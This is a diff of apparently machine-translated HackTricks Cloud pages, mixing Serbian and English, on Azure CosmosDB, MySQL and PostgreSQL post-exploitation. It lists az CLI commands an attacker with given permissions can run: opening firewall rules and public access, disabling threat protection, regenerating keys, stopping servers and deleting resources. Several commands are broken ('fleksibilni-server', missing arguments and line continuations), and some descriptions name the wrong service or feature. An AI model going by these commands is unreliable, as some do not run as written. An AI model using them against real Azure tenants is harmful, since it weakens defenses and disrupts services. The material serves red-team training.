### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
|
||||
Sa ovom dozvolom možete kreirati ili ažurirati Azure Cosmos DB naloge. To uključuje modifikaciju podešavanja na nivou naloga, dodavanje ili uklanjanje regiona, promenu nivoa konzistentnosti i omogućavanje ili onemogućavanje funkcija kao što su pisanje u više regiona.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati kontejnere (kolekcije) unutar SQL baze podataka Azure Cosmos DB naloga. Kontejneri se koriste za skladištenje podataka, a promene u njima mogu uticati na strukturu baze podataka i obrasce pristupa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--partition-key-path <partition_key_path>
|
||||
|
||||
#Update
|
||||
az cosmosdb sql container update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--ttl 3600
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati SQL baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava upravljanje strukturom baze podataka i dodavanje novih baza podataka u nalog. Iako ova dozvola omogućava kreiranje baza podataka, nepravilna ili neovlašćena upotreba može dovesti do nepotrebne potrošnje resursa, povećanih troškova ili operativnih neefikasnosti.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
|
||||
|
||||
Sa ovom dozvolom, možete promeniti prioritet oporavka regiona za Azure Cosmos DB nalog baze podataka. Ova akcija određuje redosled u kojem regioni postaju primarni tokom događaja oporavka. Nepravilna upotreba ove dozvole može ometati visoku dostupnost baze podataka ili dovesti do nepredviđenih operativnih posledica.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb failover-priority-change \
|
||||
--name <database_account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--failover-policies <region1=priority1> <region2=priority2>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
|
||||
Sa ovom dozvolom, možete regenerisati primarne ili sekundarne ključeve za Azure Cosmos DB nalog. Ovo se obično koristi za poboljšanje bezbednosti zamenom starih ključeva, ali može ometati pristup uslugama ili aplikacijama koje se oslanjaju na trenutne ključeve.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--key-kind <primary|secondary>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na strani servera kao odgovor na operacije.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati skladišne procedure unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Skladišne procedure u Cosmos DB su JavaScript funkcije na serverskoj strani koje vam omogućavaju da enkapsulirate logiku za obradu podataka ili izvršavanje operacija direktno unutar baze podataka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <stored_procedure_name> \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na serveru kao odgovor na operacije poput umetanja, ažuriranja ili brisanja.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati kolekcije unutar MongoDB baza podataka u Azure Cosmos DB nalogu. Kolekcije se koriste za čuvanje dokumenata i definišu strukturu i particionisanje podataka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb collection create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <mongodb_database_name> \
|
||||
--name <collection_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
|
||||
Sa ovom dozvolom, možete kreirati nove MongoDB baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava kreiranje novih baza podataka za skladištenje i upravljanje kolekcijama i dokumentima.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
|
||||
Sa ovom dozvolom, možete kreirati nove MongoDB definicije uloga unutar Azure Cosmos DB naloga. Ovo omogućava definisanje prilagođenih uloga sa specifičnim dozvolama za MongoDB korisnike.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
|
||||
Sa ovom dozvolom, možete kreirati nove MongoDB korisničke definicije unutar Azure Cosmos DB naloga. Ovo omogućava dodeljivanje korisnika sa specifičnim ulogama i nivoima pristupa MongoDB bazama podataka.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,167 @@
|
||||
# Az - MySQL Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL Database Post Exploitation
|
||||
Za više informacija o MySQL bazi podataka proverite:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati nove baze podataka unutar MySQL Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
|
||||
|
||||
Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za MySQL Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
|
||||
|
||||
Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za MySQL Flexible Server instancu na Azure-u. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati pravila vatrozida za MySQL Flexible Server instancu na Azure-u. Ovo omogućava kontrolu nad tim koje IP adrese ili opsezi mogu pristupiti serveru. Neovlašćena ili nepravilna upotreba ove dozvole može izložiti server neželjenom ili zlonamernom pristupu.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az mysql flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
|
||||
|
||||
Sa ovom dozvolom, možete resetovati GTID (Global Transaction Identifier) za MySQL Flexible Server instancu na Azure-u. Resetovanje GTID-a će poništiti sve automatske, na zahtev napravljene rezervne kopije i geo-rezervne kopije koje su napravljene pre akcije resetovanja. Nakon resetovanja GTID-a, nećete moći da izvršite PITR (point-in-time-restore) koristeći najbržu tačku vraćanja ili po prilagođenoj tački vraćanja ako je odabrano vreme vraćanja pre vremena resetovanja GTID-a. A uspešno geo-vraćanje biće moguće tek nakon 5 dana.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
--resource-group <resource_group_name> \
|
||||
--gtid-set <gtid>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
|
||||
|
||||
Sa ovom dozvolom, možete ažurirati konfiguracione postavke MySQL Flexible Server instance na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, bezbednosne konfiguracije ili operativne postavke. Možete ažurirati sledeće parametre zajedno u seriji: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, i max_connections.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--args max_connections=<value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
Sa ovom dozvolom, možete dodeliti identitet koji je dodeljen korisniku za MySQL fleksibilne servere.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
|
||||
|
||||
Sa ovom dozvolom, možete zaustaviti PostgreSQL Flexible Server instancu na Azure-u. Zaustavljanje servera može dovesti do privremenog prekida usluge, što utiče na aplikacije i korisnike koji zavise od baze podataka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql fleksibilni-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
|
||||
With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,155 @@
|
||||
# Az - PostgreSQL Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Database Post Exploitation
|
||||
Za više informacija o PostgreSQL bazi podataka, proverite:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati nove baze podataka unutar Postgres Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
|
||||
|
||||
Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
|
||||
|
||||
Sa ovom dozvolom, možete konfigurisati ili ažurirati podešavanja Advanced Threat Protection (ATP) za Postgres Flexible Server instancu na Azure-u. Ovo omogućava omogućavanje ili onemogućavanje bezbednosnih funkcija dizajniranih za otkrivanje i reagovanje na anomalne aktivnosti i potencijalne pretnje.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati ili modifikovati pravila vatrozida za Postgres Flexible Server instancu na Azure-u. Ovo omogućava kontrolu nad tim koje IP adrese ili opsezi mogu pristupiti serveru. Neovlašćena ili nepravilna upotreba ove dozvole može izložiti server neželjenom ili zlonamernom pristupu.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az postgres flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
|
||||
|
||||
Sa ovom dozvolom, možete ažurirati postavke konfiguracije instance Postgres Flexible Server na Azure-u. Ovo omogućava prilagođavanje parametara servera kao što su podešavanje performansi, sigurnosne konfiguracije ili operativne postavke.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server parameter set \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--name <parameter_name> \
|
||||
--value <parameter_value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
|
||||
|
||||
Sa ovom dozvolom, možete zaustaviti PostgreSQL Flexible Server instancu na Azure-u. Zaustavljanje servera može dovesti do privremenog prekida usluge, što utiče na aplikacije i korisnike koji zavise od baze podataka.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres fleksibilni-server start \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - CosmosDB Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Privesc
|
||||
Za više informacija o SQL Bazi podataka proverite:
|
||||
|
||||
